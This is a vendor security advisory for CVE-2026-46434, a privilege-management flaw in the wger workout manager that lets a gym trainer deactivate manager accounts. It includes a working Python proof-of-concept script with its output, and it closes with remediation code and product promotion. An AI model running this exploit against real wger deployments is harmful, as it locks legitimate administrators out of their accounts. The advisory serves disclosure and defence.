CVE-2026-46434

CVE-2026-46434 is a high-severity improper privilege management vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet.

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Runtime intelligence, not another scanner.

Summary

wger: Trainer Privilege Escalation - Improper Privilege Management

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

  • A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
  • Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

  1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
  2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
  3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2026-46434 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

wger (<= 2.1)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Frequently Asked Questions

  1. What is CVE-2026-46434? CVE-2026-46434 is a high-severity improper privilege management vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
  2. How severe is CVE-2026-46434? CVE-2026-46434 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wger are affected by CVE-2026-46434? wger (pip) versions <= 2.1 is affected.
  4. Is there a fix for CVE-2026-46434? No fixed version is listed for CVE-2026-46434 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-46434 exploitable, and should I be worried? Whether CVE-2026-46434 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-46434 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-46434? No fixed version is listed yet. In the interim: Keep the dependency up to date. Apply the principle of least privilege and audit privilege transitions.

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